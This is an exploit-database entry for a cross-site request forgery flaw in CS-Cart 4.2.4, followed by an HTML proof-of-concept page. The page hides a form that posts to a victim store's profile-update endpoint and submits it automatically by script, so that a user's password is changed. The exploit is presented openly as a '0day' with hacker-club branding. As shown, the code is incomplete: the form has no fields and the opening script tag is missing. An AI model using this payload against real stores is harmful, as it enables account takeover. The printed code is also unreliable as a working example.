发布 2015-03-11 漏洞条目

CS-Cart 4.2.4 – Cross-Site Request Forgery

Exploit Source

# Exploit Title: CS-Cart 4.2.4 CSRF

# Date: March 11, 2015

# Exploit Author: Luis Santana

# Vendor Homepage: http://cs-cart.com

# Software Link: https://www.cs-cart.com/index.php?dispatch=pages.get_trial&page_id=297&edition=ultimate

# Version: 4.2.4

# Tested on: Linux + PHP

# CVE : [if one exists, or other VDB reference]

Standard CSRF, allow you to change a users's password. Fairly lame but I noticed no one had reported this bug yet.

Exploit pasted below and attached.

<html>

<head>

<title>CS-CART CSRF 0day Exploit</title>

</head>

<body>

<!-- Discovered By: Connection

Exploit By: Connection

Blacksun Hacker's Club

irc.blacksunhackers.com #lobby

-->

<form action="http://<victim>/cscart/profiles-update/?selected_section=general" method="POST" id="CSRF" style="visibility:hidden">

</form>

document.getElementById("CSRF").submit();

</script>

</body>

</html>

Luis Santana - Security+

Administrator - http://hacktalk.net

HackTalk Security - Security From The Underground

相关漏洞条目